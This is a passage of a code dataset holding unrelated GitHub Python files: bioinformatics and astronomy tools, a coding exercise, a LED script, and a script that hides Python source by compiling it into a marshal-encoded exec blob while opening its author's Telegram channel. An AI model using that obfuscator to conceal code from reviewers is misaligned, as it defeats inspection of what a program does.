os.remove(f\"{filename}.no_waters.tmp.pdb\")\n os.remove(f\"{filename}.no_waters.noh.tmp.pdb\")\n\n return f\"{filename}.censible.converted.pdb\"\n\n\ndef fix_ligand_structure(filename: str, obabel_exec: str) -> str:\n \"\"\"Fix the ligand structure so it is more like those of the training data.\n\n 1. Remove existing hydrogens.\n 2. Protonate at pH7.\n \n Args:\n filename (str): The path to the ligand file.\n obabel_exec (str): The path to the open babel executable.\n \n Returns:\n A string representing the path to the temporary file.\n\n Note: -p 7 reassign partial charges, so old ones are not retained.\n \"\"\"\n cmd = f\"{obabel_exec} {filename} -O {filename}.noh.tmp.mol2 -d > /dev/null\"\n subprocess.check_output(cmd, shell=True)\n\n # Adding gasteiger just in case default changes. Note: I have confirmed that\n # \"-p 7 --partialcharge gasteiger\" gives the same as \"-p 7\" in a test\n # ligand. In case you ever need to know, you used obabel 3.1.0 to prepare\n # ligands for training.\n cmd = f\"{obabel_exec} {filename}.noh.tmp.mol2 -O {filename}.censible.converted.mol2 -p 7 --partialcharge gasteiger > /dev/null\"\n subprocess.check_output(cmd, shell=True)\n\n # Clean up\n os.remove(f\"{filename}.noh.tmp.mol2\")\n\n return f\"{filename}.censible.converted.mol2\"\n\n\ndef load_example(\n lig_path: str,\n rec_path: str,\n smina_exec_path: str,\n smina_ordered_terms_names: np.ndarray,\n obabel_exec_path: str,\n) -> molgrid.molgrid.ExampleProvider:\n \"\"\"Load an example from a ligand and receptor path.\n \n Args:\n lig_path (str): A string representing the path to the ligand.\n rec_path (str): A string representing the path to the receptor.\n smina_exec_path (str): A string representing the path to the smina \n executable.\n smina_ordered_terms_names (np.ndarray): A numpy array of strings \n representing the names of all the terms.\n obabel_exec_path (str): A string representing the path to the open babel\n executable.\n \n Returns:\n A molgrid ExampleProvider.\n \"\"\"\n # Standardize the molecules to make them more like the training set.\n lig_path = fix_ligand_structure(lig_path, obabel_exec_path)\n rec_path = fix_receptor_structure(rec_path, obabel_exec_path)\n\n # get CEN terms for proper termset\n custom_scoring_path = data_file_path(\"custom_scoring.txt\")\n cmd = f\"{smina_exec_path} --custom_scoring {custom_scoring_path} --score_only -r {rec_path} -l {lig_path} --seed 42\"\n smina_out = str(subprocess.check_output(cmd, shell=True)).split(\"\\\\n\")\n\n # It's critical to make sure the order is correct (could change with new version of smina).\n actual_ordered_terms_names = [l for l in smina_out if l.startswith(\"## Name\")][0][\n 8:\n ].split()\n for t1, t2 in zip(actual_ordered_terms_names, smina_ordered_terms_names):\n assert t1 == t2, f\"terms not in correct order: {t1} != {t2}\"\n\n # Get the computed terms as a string.\n line_with_terms = [l for l in smina_out if l.startswith(\"##\")][-1]\n all_smina_computed_terms = line_with_terms.split()\n\n # Keep only those terms in all_smina_computed_terms that are numeric\n # (meaning they contain -, numbers, e, and .).\n all_smina_computed_terms = [t for t in all_smina_computed_terms if is_numeric(t)]\n all_smina_computed_terms_str = \" \".join(all_smina_computed_terms)\n\n smina_outfile = f\"types_file_cen.{random.randint(0, 1000000000)}.tmp\"\n with open(smina_outfile, \"w\") as smina_out_f:\n smina_out_f.write(\n f\"{all_smina_computed_terms_str} \"\n + rec_path # .split(\"a/\")[-1]\n + \" \"\n + lig_path # .split(\"a/\")[-1]\n )\n\n example = molgrid.ExampleProvider(\n # data_root can be any directory, I think.\n # data_root=\"./\",\n default_batch_size=1,\n # add_hydrogens=False,\n )\n example.populate(smina_outfile)\n\n # Delete the temporary file.\n os.remove(smina_outfile)\n\n return example\n\n\n# load in model -- from torch\ndef load_model(model_dir: str):\n \"\"\"Load the model, the smina terms mask, and the smina term scales.\n \n Args:\n model_dir (str): The path to the model directory.\n \n Returns:\n A tuple containing the model and other important data for applying the\n model to an example.\n \"\"\"\n model_path = model_dir + os.sep + \"model.pt\"\n smina_terms_mask_path = model_dir + os.sep + \"which_precalc_terms_to_keep.npy\"\n smina_term_scales_path = model_dir + os.sep + \"precalc_term_scales.npy\"\n\n ### get the single_example_terms -- one set of smina computed terms\n # load normalization term data\n smina_terms_mask = np.load(smina_terms_mask_path)\n norm_factors_masked = np.load(smina_term_scales_path)\n\n dims = (28, 48, 48, 48)\n model = CENet(dims, len(norm_factors_masked))\n model.load_state_dict(torch.load(model_path))\n model.eval()\n\n smina_ordered_terms_path = data_file_path(\"smina_ordered_terms.txt\")\n with open(smina_ordered_terms_path) as f:\n smina_ordered_terms_names = f.read().strip().split()\n\n return (model, smina_terms_mask, norm_factors_masked, smina_ordered_terms_names)\n\n\n# apply model to test data\ndef apply(\n example_data: molgrid.molgrid.ExampleProvider,\n smina_terms_mask: np.ndarray,\n smina_norm_factors_masked: np.ndarray,\n model: CENet,\n device=\"cuda\",\n):\n \"\"\"Apply the model to the test data.\n \n Args:\n example_data (molgrid.molgrid.ExampleProvider): The example data.\n smina_terms_mask (np.ndarray): A boolean array representing which terms\n to keep.\n smina_norm_factors_masked (np.ndarray): The normalization factors for\n the terms.\n model (CENet): The model.\n device (str): The device to use. Defaults to \"cuda\".\n \n Returns:\n A tuple containing the predicted affinity, weights, contributions, etc.\n \"\"\"\n smina_norm_factors_masked = torch.from_numpy(smina_norm_factors_masked).to(device)\n\n smina_terms_mask_trch = torch.from_numpy(smina_terms_mask).to(device)\n\n # Create tensors to store the precalculated terms and the input voxels.\n all_smina_terms = torch.zeros(\n (1, example_data.num_labels()), dtype=torch.float32, device=device\n )\n input_voxel = torch.zeros(\n (1,) + (28, 48, 48, 48), dtype=torch.float32, device=device\n )\n\n # Get this batch (just one example)\n test_batch = example_data.next_batch()\n\n # Get this batch's labels and put them in all_precalc_terms. This is all\n # labels, not just the one's you'll use.\n test_batch.extract_labels(all_smina_terms)\n\n # Now get only those precalculated terms you'll use.\n smina_terms_masked = all_smina_terms[:, :][:, smina_terms_mask_trch]\n\n # Populate the input_voxel tensor with the one example. Note that not using\n # random_translation and random_rotation keywords. Thus, this is\n # deterministic. Unlike during training, when you do add random translation\n # and rotation.\n gm = molgrid.GridMaker()\n\n # gm.set_resolution(0.1)\n gm.forward(test_batch, input_voxel)\n\n # For debuging\n # save_all_channels(input_voxel)\n\n scaled_smina_terms_masked = smina_terms_masked * smina_norm_factors_masked\n\n # Run that through the model.\n model.to(device)\n predicted_affinity, weights_predict, contributions_predict = model(\n input_voxel, scaled_smina_terms_masked\n )\n\n # print(weights_predict)\n # Round below to nearest 0.00001\n # print(contributions_predict[0,:15].cpu().detach().numpy().round(5))\n # ) #.sum(dim=0))\n\n # weighted_terms = coef_predict * scaled_smina_terms_masked\n\n # scaled_smina_terms_masked = scaled_smina_terms_masked.cpu().detach().numpy()\n smina_terms_masked = smina_terms_masked.cpu().detach().numpy()[0]\n # smina_norm_factors_masked = smina_norm_factors_masked.cpu().detach().numpy()\n weights_predict = weights_predict.cpu().detach().numpy()[0]\n contributions_predict = contributions_predict.cpu().detach().numpy()[0]\n\n return (\n predicted_affinity,\n weights_predict,\n contributions_predict,\n smina_terms_masked,\n )\n\n\n# run the model on test example\ndef get_cmd_args() -> argparse.Namespace:\n \"\"\"Parse command line arguments.\n \n Returns:\n argparse.Namespace: command line arguments\n \"\"\"\n # Create argparser\n parser = argparse.ArgumentParser()\n\n # Required parameters\n parser.add_argument(\n \"--ligpath\",\n required=True,\n nargs=\"+\",\n help=\"path to the ligand(s) (PDB or PDBQT format)\",\n )\n\n parser.add_argument(\n \"--recpath\", required=True, help=\"path to the receptor (PDB or PDBQT format)\"\n )\n\n parser.add_argument(\n \"--smina_exec_path\", required=True, help=\"path to the smina executable\"\n )\n\n parser.add_argument(\n \"--obabel_exec_path\",\n required=True,\n help=\"path to the open babel (obabel) executable\",\n )\n\n # Optional parameters\n parser.add_argument(\n \"--use_cpu\",\n action=\"store_true\",\n help=\"use cpu (uses cuda by default, if not specified)\",\n )\n\n parser.add_argument(\n \"--model_dir\",\n default=None,\n help=\"path to a directory containing files such as model.pt, which_precalc_terms_to_keep.npy, etc.\",\n )\n\n parser.add_argument(\n \"--pdb_out\", default=\"\", help=\"path to save optional PDB file with the contributions of the smina atom_type_gaussian terms in the beta columns\"\n )\n\n parser.add_argument(\n \"--tsv_out\", default=\"\", help=\"path to save optional output tsv file\"\n )\n\n args = parser.parse_args()\n\n # Do some validation\n # Check if ligpath exists\n for ligpath in args.ligpath:\n if not os.path.exists(ligpath):\n raise FileNotFoundError(f\"{ligpath} does not exist\")\n\n # Check if recpath exists\n if not os.path.exists(args.recpath):\n raise FileNotFoundError(f\"{args.recpath} does not exist\")\n\n # Check if smina_exec_path exists\n if not os.path.exists(args.smina_exec_path):\n raise FileNotFoundError(f\"{args.smina_exec_path} does not exist\")\n\n # Check if obabel_exec_path exists\n if not os.path.exists(args.obabel_exec_path):\n raise FileNotFoundError(f\"{args.obabel_exec_path} does not exist\")\n\n # If model_dir is not provided, use the default model_dir\n if args.model_dir is None:\n args.model_dir = data_file_path(f\"model_allcen3{os.sep}\")\n\n # If args.tsv_out is a directory, append output.tsv to it.\n if os.path.isdir(args.tsv_out):\n args.tsv_out = os.path.join(args.tsv_out, \"output.tsv\")\n\n return args\n","repo_name":"durrantlab/censible","sub_path":"censible/inference/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":13421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31531120954","text":"# Author: Hanzi Mao \n#\n# License: BSD 3 clause\n\nimport os\nimport datetime\nimport numpy as np\nimport numpy.ma as ma\nfrom netCDF4 import Dataset\n\nfrom ..utils import get_out_path, generate_most_recent_doys\n\n\ndef modis_lst_extract(dates_folder, nc_file):\n out_path = get_out_path(os.path.join(\"Data\", \"MOD11A1\", \"500m\"))\n\n fh_in = Dataset(os.path.join(\"n5eil01u.ecs.nsidc.org\", \"MOD11A1\", dates_folder, nc_file + \".nc\"), 'r')\n\n for index, n_days in enumerate(fh_in.variables['time'][:]):\n date = (datetime.datetime(2000, 1, 1, 0, 0) + datetime.timedelta(int(n_days))).strftime('%Y%m%d')\n print(date)\n fh_out = Dataset(os.path.join(out_path, date + '.nc'), 'w')\n\n for name, dim in fh_in.dimensions.items():\n if name != 'time':\n fh_out.createDimension(name, len(dim) if not dim.isunlimited() else None)\n\n ignore_features = ['time', 'crs', 'Clear_day_cov', 'Clear_night_cov', 'Day_view_angl', 'Day_view_time',\n 'Night_view_angl', 'Night_view_time', 'Emis_31', 'Emis_32', \"QC_Day\", \"QC_Night\"]\n for v_name, varin in fh_in.variables.items():\n if v_name not in ignore_features:\n dimensions = varin.dimensions if v_name in ['lat', 'lon'] else ('lat', 'lon')\n outVar = fh_out.createVariable(v_name, varin.datatype, dimensions)\n if v_name == \"lat\":\n outVar.setncatts({\"units\": \"degree_north\"})\n outVar[:] = varin[:]\n elif v_name == \"lon\":\n outVar.setncatts({\"units\": \"degree_east\"})\n outVar[:] = varin[:]\n else:\n outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})\n outVar[:] = varin[index, :, :]\n\n fh_out.close()\n fh_in.close()\n\n\ndef modis_lst_fill_missing_by_most_recent_values(doy, area, n_days):\n fh_in = Dataset(os.path.join(\"Data\", \"MOD11A1\", \"3km\", doy + \".nc\"), \"r\")\n\n n_lat = fh_in.dimensions[\"lat\"].size\n n_lon = fh_in.dimensions[\"lon\"].size\n lst_day_ref = np.ma.empty((n_days, n_lat, n_lon))\n i = 0\n for i_doy in generate_most_recent_doys(doy, n_days, \"\"):\n print(i_doy)\n fh = Dataset(os.path.join(\"Data\", \"MOD11A1\", \"3km\", i_doy + \".nc\"), \"r\")\n lst_day_ref[i, :, :] = fh.variables[\"LST_Day\"][:]\n i += 1\n fh.close()\n lst_day_ref_mask = ma.getmaskarray(lst_day_ref)\n\n out_path = get_out_path(os.path.join(\"Data\", \"MOD11A1\", \"3km_nearly_overlapped\", area))\n fh_out = Dataset(os.path.join(out_path, doy + \".nc\"), \"w\")\n\n fh_out.createDimension('lat', n_lat)\n fh_out.createDimension('lon', n_lon)\n\n for v_name, varin in fh_in.variables.items():\n if v_name == \"lat\" or v_name == \"lon\" or v_name == \"LST_Day\":\n outVar = fh_out.createVariable(v_name, varin.datatype, varin.dimensions)\n outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})\n outVar[:] = varin[:]\n\n lst_day_mask = ma.getmaskarray(fh_in.variables[\"LST_Day\"][:])\n lst_day_values = fh_in.variables[\"LST_Day\"][:]\n for i in range(n_lat):\n for j in range(n_lon):\n if lst_day_mask[i, j]:\n for k in range(n_days):\n if not lst_day_ref_mask[k, i, j]:\n lst_day_values[i, j] = lst_day_ref[k, i, j]\n break\n fh_out.variables[\"LST_Day\"][:] = lst_day_values[:]\n\n\n\n\n\n\n","repo_name":"HannaMao/Gap-Filling-of-Soil-Moisture","sub_path":"data_preprocessing/preprocess/modis_lst.py","file_name":"modis_lst.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"780230007","text":"# Variability Depth Metric\n# Keaton Bell (keatonb@astro.as.utexas.edu)\n\n__all__ = (\"VarDepth\",)\n\nimport numpy as np\nfrom scipy.interpolate import UnivariateSpline\nfrom scipy.stats import chi2\n\nfrom rubin_sim.maf.metrics import BaseMetric\n\n\nclass VarDepth(BaseMetric):\n \"\"\"Calculate the survey depth that a variable star can be reliably identified.\"\"\"\n\n def __init__(\n self,\n m5_col=\"fiveSigmaDepth\",\n metric_name=\"variability depth\",\n completeness=0.95,\n contamination=0.05,\n numruns=10000,\n signal=0.01,\n magres=0.01,\n **kwargs,\n ):\n \"\"\"\n Instantiate metric.\n\n :m5col: the column name of the individual visit m5 data.\n :completeness: fractional desired completeness of recovered variable sample.\n :contamination: fractional allowed incompleteness of recovered nonvariables.\n :numruns: number of simulated realizations of noise (most computationally espensive part).\n :signal: sqrt total pulsational power meant to be recovered.\n :magres: desired resolution of variability depth result.\"\"\"\n self.m5col = m5_col\n self.completeness = completeness\n self.contamination = contamination\n self.numruns = numruns\n self.signal = signal\n self.magres = magres\n super(VarDepth, self).__init__(col=m5_col, metric_name=metric_name, **kwargs)\n\n def run(self, data_slice, slice_point=None):\n # Get the visit information\n m5 = data_slice[self.m5col]\n # Number of visits\n N = len(m5)\n\n # magnitudes to be sampled\n mag = np.arange(16, np.mean(m5), 0.5)\n # hold the distance between the completeness and contamination goals.\n res = np.zeros(mag.shape)\n # make them nans for now\n res[:] = np.nan\n\n # hold the measured noise-only variances\n noiseonlyvar = np.zeros(self.numruns)\n\n # Calculate the variance at a reference magnitude and scale from that\n m0 = 20.0\n sigmaref = 0.2 * (10.0 ** (-0.2 * m5)) * (10.0 ** (0.2 * m0))\n\n # run the simulations\n # Simulate the measured noise-only variances at a reference magnitude\n for i in np.arange(self.numruns):\n # random realization of the Gaussian error distributions\n scatter = np.random.randn(N) * sigmaref\n noiseonlyvar[i] = np.var(scatter) # store the noise-only variance\n\n # Since we are treating the underlying signal being representable by a\n # fixed-width gaussian, its variance pdf is a Chi-squared distribution\n # with the degrees of freedom = visits. Since variances add, the variance\n # pdfs convolve. The cumulative distribution function of the sum of two\n # random deviates is the convolution of one pdf with a cdf.\n\n # We'll consider the cdf of the noise-only variances because it's easier\n # to interpolate\n noisesorted = np.sort(noiseonlyvar)\n # linear interpolation\n interpnoisecdf = UnivariateSpline(\n noisesorted, np.arange(self.numruns) / float(self.numruns), k=1, s=0\n )\n\n # We need a binned, signal-only variance probability distribution function for numerical convolution\n numsignalsamples = 100\n xsig = np.linspace(chi2.ppf(0.001, N), chi2.ppf(0.999, N), numsignalsamples)\n signalpdf = chi2.pdf(xsig, N)\n # correct x to the proper variance scale\n xsig = (self.signal**2.0) * xsig / N\n pdfstepsize = xsig[1] - xsig[0]\n # Since everything is going to use this stepsize down the line,\n # normalize so the pdf integrates to 1 when summed (no factor of stepsize needed)\n signalpdf /= np.sum(signalpdf)\n\n # run through the sample magnitudes, calculate distance between cont\n # and comp thresholds.\n # run until solution found.\n solutionfound = False\n\n for i, mref in enumerate(mag):\n # i counts and mref is the currently sampled magnitude\n # Scale factor from m0\n scalefact = 10.0 ** (0.4 * (mref - m0))\n\n # Calculate the desired contamination threshold\n contthresh = np.percentile(noiseonlyvar, 100.0 - 100.0 * self.contamination) * scalefact\n\n # Realize the noise CDF at the required stepsize\n xnoise = np.arange(noisesorted[0] * scalefact, noisesorted[-1] * scalefact, pdfstepsize)\n\n # Only do calculation if near the solution:\n if (len(xnoise) > numsignalsamples / 10) and (not solutionfound):\n noisecdf = interpnoisecdf(xnoise / scalefact)\n noisepdf = noisecdf[1:] - noisecdf[:-1] # turn into a noise pdf\n noisepdf /= np.sum(noisepdf)\n xnoise = (xnoise[1:] + xnoise[:-1]) / 2.0 # from cdf to pdf conversion\n\n # calculate and plot the convolution = signal+noise variance dist.\n convolution = 0\n if len(noisepdf) > len(signalpdf):\n convolution = np.convolve(noisepdf, signalpdf)\n else:\n convolution = np.convolve(signalpdf, noisepdf)\n xconvolved = xsig[0] + xnoise[0] + np.arange(len(convolution)) * pdfstepsize\n\n # calculate the completeness threshold\n combinedcdf = np.cumsum(convolution)\n findcompthresh = UnivariateSpline(combinedcdf, xconvolved, k=1, s=0)\n compthresh = findcompthresh(1.0 - self.completeness)\n\n res[i] = compthresh - contthresh\n if res[i] < 0:\n solutionfound = True\n\n # interpolate for where the thresholds coincide\n # print res\n if np.sum(np.isfinite(res)) > 1:\n f1 = UnivariateSpline(mag[np.isfinite(res)], res[np.isfinite(res)], k=1, s=0)\n # sample the magnitude range at given resolution\n magsamples = np.arange(16, np.mean(m5), self.magres)\n vardepth = magsamples[np.argmin(np.abs(f1(magsamples)))]\n return vardepth\n else:\n return min(mag) - 1\n","repo_name":"lsst/rubin_sim","sub_path":"rubin_sim/maf/maf_contrib/var_depth_metric.py","file_name":"var_depth_metric.py","file_ext":"py","file_size_in_byte":6126,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"37"} +{"seq_id":"21898486573","text":"class Solution:\n \"\"\"\n @param str: An array of char\n @param offset: An integer\n @return: nothing\n \"\"\"\n def rotateString(self, str, offset):\n # write your code here\n if len(str) != 0:\n offset %= len(str)\n if offset != 0:\n a = str[:-offset]\n b = str[-offset:]\n c = b + a\n #str.replace(b+a)\n for i, item in enumerate(str):\n str[i] = c[i]","repo_name":"Uraniluib/Silmarillion","sub_path":"1.LintCode/2.easy/8. Rotate String/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35094986353","text":"import sys\nnum = []\nN,K = list(map(int,sys.stdin.readline().split()))\n\nfor i in range(1,N+1):\n if N % i == 0:\n num.append(i)\n\nif len(num) >= K:\n print(num[K-1])\nelse:\n print(0)","repo_name":"meohyun/baekjoon","sub_path":"2501.py","file_name":"2501.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31174634159","text":"#!/usr/bin/env python3\n\nimport sys\n\ndef getdiag(n):\n total = 1\n\n for i in range(1, numlayers(n)):\n seed = (2*i + 1)**2\n total += 4*seed - 6*2*i\n return total\n\ndef numlayers(n):\n return (n - 1) // 2 + 1\n\nprint(getdiag(1001))\n","repo_name":"billy1kaplan/projecteuler","sub_path":"problem28.py","file_name":"problem28.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35895761628","text":"import time\nimport board\nimport neopixel\nimport math \nimport os\nimport json\n\npath = os.path.dirname(os.path.abspath(__file__))\nwith open(path+'/Config/config.json') as config_data:\n config = json.load(config_data)\n\nnum_pixels = config['num_pixels']\ndead_pixels = config['dead_pixels'] \n\n# On CircuitPlayground Express, and boards with built in status NeoPixel -> board.NEOPIXEL\n# Otherwise choose an open pin connected to the Data In of the NeoPixel strip, i.e. board.D1\npixel_pin = board.D18\n \n# The order of the pixel colors - RGB or GRB. Some NeoPixels have red and green reversed!\n# For RGBW NeoPixels, simply change the ORDER to RGBW or GRBW.\nORDER = neopixel.RGB\n \npixels = neopixel.NeoPixel(pixel_pin, num_pixels, brightness=0.2, auto_write=False,\n pixel_order=ORDER) \n \n\ndef looper(n, p):\n for j in range(n, p):\n jj = j\n if j > (p/2):\n jj = p - j\n for i in range(dead_pixels, num_pixels):\n y = int(((i - j) % 10) * 25.5)\n r = int((i/300)*y)\n g = int(((300-i)/300)*y)\n c = 0\n if (j > 0):\n c = int(jj)*4\n col = (g, r, c)\n pixels[i] = col\n pixels.show()\n time.sleep(0.1)\n\nwhile True:\n looper(-10, 40)\n","repo_name":"meowterspace/BHXmas-Tree","sub_path":"Scripts/greenred_blue_pulse.py","file_name":"greenred_blue_pulse.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26366915446","text":"#!/usr/bin/env python\n#-*-coding=utf-8-*-\nimport multiprocessing\nfrom multiprocessing import Process\nimport time\n\nclass dead_loop(object):\n def __init__(self):\n self.name = 'DEAD_LOOP'\n\n def loop1(self):\n x=0\n while True:\n x+=1\n\n def loop2(self):\n x=0\n while True:\n x+=2\n\n def loop3(self):\n x=0\n while True:\n x+=3\n\n def loop4(self):\n x=0\n while True:\n x+=4\n\ndef main():\n D_loop = dead_loop()\n fun_list = [D_loop.loop1,D_loop.loop2,D_loop.loop3,D_loop.loop4,D_loop.loop1,D_loop.loop2,D_loop.loop3,D_loop.loop4,D_loop.loop1,D_loop.loop2,D_loop.loop3,D_loop.loop4,D_loop.loop1,D_loop.loop2,D_loop.loop3,D_loop.loop4]\n p_list=[]\n a = multiprocessing.cpu_count()\n print(\"CPU count is :%d \" % a)\n # time.sleep(1)\n # a = 0\n # a = a^2\n for i in range(multiprocessing.cpu_count()):\n print(\"dead circle %d start...at %s\" % (i,time.ctime()))\n p = Process(target=fun_list[i])\n p_list.append(p)\n p.start()\n\n for i in p_list:\n i.join()\n\n print('end')\n\nif __name__=='__main__':\n main()\n\"\"\"这是测试利用Process模块能否达到真正的多进行并行程序的测试代码,结果表明可以。此代码创建了四个进程,\n每个进程都是一个死循环,但是每个进程的死循环函数不一样,此电脑有4个核,最后对系统监测表明:四个核都\n用了,且每个核的利用率为100%,说明是真正的多进程编程\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"junjiecjj/Python","sub_path":"Thread_Process/Multiprocessing/Process/dead_process1.py","file_name":"dead_process1.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71981363946","text":"import marshal\nimport requests\nimport os\nimport platform\nimport os\nimport webbrowser,pyfiglet\nfrom sys import stdout\nfrom time import sleep\nos.system(\"clear\")\nblack = f\"\"\"\\033[1;33m[\\033[1;36m ✷‿✷ \\033[1;33m]\\033[1;36m HELLO IN MY TOOL\"\"\" \nfor char in black:\n stdout.write(char)\n stdout.flush()\n sleep(0.001/0.02) \nprint(\"\")\nprint(\"\") \nzombie = f\"\"\"\\033[1;33m[\\033[1;36m ✷‿✷ \\033[1;33m]\\033[1;32m THIS IS MY CHANNEL »»» : https://t.me/black_code_22\"\"\" \nfor char in zombie:\n stdout.write(char)\n stdout.flush()\n sleep(0.001/0.02) \nwebbrowser.open('https://t.me/black_code_22')\nprint('')\ndef banner():\n print ('\\033[1;31m ▇▇▇◤▔▔▔▔▔▔▔◥▇▇▇ ')\n print('\\033[1;31m ▇▇▇▏◥▇◣┊◢▇◤▕▇▇▇ ')\n print ('\\033[1;31m ▇▇▇▏▃▆▅▎▅▆▃▕▇▇▇ ')\n print ('\\033[1;31m ▇▇▇▏╱▔▕▎▔▔╲▕▇▇▇ ')\n print ('\\033[1;31m ▇▇▇◣◣▃▅▎▅▃◢◢▇▇▇ \\033[1;33m CODE BY »»»» : \\033[1;34mB̶L̶A̶C̶K̶ Z̶O̶M̶B̶I̶E̶')\n print ('\\033[1;31m ▇▇▇▇◣◥▅▅▅◤◢▇▇▇▇ ')\n print ('\\033[1;31m ▇▇▇▇▇◣╲▇╱◢▇▇▇▇▇ ')\n print ('\\033[1;31m ▇▇▇▇▇▇◣▇◢▇▇▇▇▇▇ ')\nprint(\"\")\nbanner()\nprint(\"\")\nfile=input(\"\\033[1;32m\\033[1;33m[\\033[1;36m ◕‿◕ \\033[1;33m] \\033[1;35mENTER NAME SCRIPT »»» : \\033[1;34m\")\nopenfile=open(file,'r').read()\ncom=compile(openfile,' ','exec')\nencrypt=marshal.dumps(com)\nenc=open('enc_'+str(file),'w')\nenc.write('import marshal\\n')\nenc.write('exec(marshal.loads('+repr(encrypt)+'))')\nprint('success encrypt | file save as enc_' + str(file))","repo_name":"SJGDHACKER/R","sub_path":"marshal.py","file_name":"marshal.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30802698708","text":"## genome scan pipeline, written by Jeff DaCosta, streamlined by Christian Sailer\r\n## September 2016, updated 11 November 2016\r\n\r\nimport os, sys, argparse, subprocess, statistics\r\nfrom natsort import natsorted\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\n#create variables that can be entered as arguments in command line\r\nparser = argparse.ArgumentParser(description='Part 2 of genome scan pipeline. This script identifies the genes that lie '+\r\n 'within the given interval (-win) using the annotation gff file. In the second step '+\r\n 'it greps the gene functions from the ortholog gene function list.')\r\n\r\nparser.add_argument('-i', type=str, metavar='inputdir_path', required=True, help='REQUIRED: Full or relative path to contrast directory')\r\nparser.add_argument('-an', type=str, metavar='gff_annotation_file', default='LyV2.gff', help='Full path to annotation gff file')\r\nparser.add_argument('-gf', type=str, metavar='gene_function_file', default='LyV2_TAIR10orth_des_20150927.txt', help='Full path to lyrate - thaliana orthologs file')\r\nparser.add_argument('-ovlp', type=float, metavar='proportion_overlap', default='0.000001', help='Proportion of base pairs that overlap the search pattern as percentage [0.0001]')\r\nargs = parser.parse_args()\r\n\r\nprint('\\nSearching directories...')\r\n\r\nif args.ovlp == 0.000001:\r\n if os.path.exists(args.i+'lax_genes/') == False:\r\n os.mkdir(args.i+'lax_genes/')\r\n outputdir = str(args.i+'lax_genes/')\r\nelse:\r\n if os.path.exists(args.i+'genes/') == False:\r\n os.mkdir(args.i+'genes/')\r\n outputdir = str(args.i+'genes/')\r\n\r\n\r\n###### STEP 1 ######\r\n# obtain outlier gene annotation list using bedtools\r\nprint('\\n\\tStep 1: Obtain outlier gene annotation list, '+str(args.ovlp)+' proportion overlap\\n')\r\na = []\r\n#files = []\r\nfor dirName, subdirList, fileList in os.walk(args.i):\r\n for file in fileList:\r\n if file.endswith('_outliers.bed') == True:\r\n a.append(file)\r\na.sort()\r\n\r\nprint('Found '+str(len(a))+' bedfiles to select gene annotation:')\r\ncount = 0\r\nfor file in a:\r\n print(' Processing '+str(file))\r\n basename = file.replace('_outliers.bed', '')\r\n # gcmd = open(outputdir+'bedtools_gff.unix', 'w')\r\n # gcmd.write('bedtools intersect -a '+args.i+'/'+str(file)+' -b '+str(args.an)+' -f '+str(args.ovlp)+' -wb | ')\r\n # gcmd.write('bedtools intersect -a '+args.i+'/'+str(file)+' -b '+str(args.an)+' -f '+str(args.ovlp)+' -wb | ')\r\n # gcmd.write(\"\"\"awk '{$1=$2=$3=\"\"; print $4,$5,$6,$7,$8,$9,$10,$11,$12}' \"\"\")\r\n # gcmd.write('| grep transcript | grep -v transcription | sort -u | ')\r\n # gcmd.write(\"\"\"tr ' ' '\\t' \"\"\")\r\n # gcmd.write('> '+outputdir+basename+'_'+str(args.ovlp)+'ol_genes.gff')\r\n # gcmd.close()\r\n shfile1 = open(outputdir+'bedtools_gff.sh','w')\r\n shfile1.write('#!/bin/bash\\n'+\r\n '#SBATCH -J GS.bedtools.sh'+'\\n'+\r\n '#SBATCH -e GS.bedtools.err\\n'+\r\n '#SBATCH -o GS.bedtools.out\\n'+\r\n '#SBATCH -p nbi-short\\n'+\r\n '#SBATCH -n 1\\n'+\r\n '#SBATCH -t 2-5:00\\n'+\r\n '#SBATCH --mem=16000\\n'+\r\n 'source bedtools-2.17.0\\n'+\r\n 'bedtools intersect -a '+args.i+str(file)+' -b '+str(args.an)+' -f '+str(args.ovlp)+' -wb | '+\r\n \"\"\"awk '{$1=$2=$3=\"\"; print $4,$5,$6,$7,$8,$9,$10,$11,$12}'\"\"\" +\r\n '| grep transcript | grep -v transcription | sort -u | '+\r\n \"\"\"tr ' ' '\\t' \"\"\"\r\n '> '+outputdir+basename+'_'+str(args.ovlp)+'ol_genes.gff') \r\n shfile1.close()\r\n\r\n cmd1 = ('sbatch '+outputdir+'bedtools_gff.sh')\r\n p1 = subprocess.Popen(cmd1, shell=True)\r\n sts1 = os.waitpid(p1.pid, 0)[1]\r\n\r\n #run in unix\r\n # cmd = (open(outputdir+'bedtools_gff.unix', 'r'))\r\n # p = subprocess.Popen(cmd, shell=True)\r\n # sts = os.waitpid(p.pid, 0)[1]\r\n\r\n count +=1\r\n\r\n\r\n \r\nprint('\\nExtracted gene annotation lists from '+str(count)+' bedfiles\\n')\r\n#os.remove(outputdir+'bedtools_gff.sh')\r\n\r\n\r\n###### STEP 2 ######\r\n# obtain outlier gene list\r\nprint('\\n\\tStep 2: Obtain outlier gene list, '+str(args.ovlp)+' percent overlap\\n')\r\ngff = []\r\nfor dirName, subdirList, fileList in os.walk(outputdir):\r\n for file in fileList:\r\n if 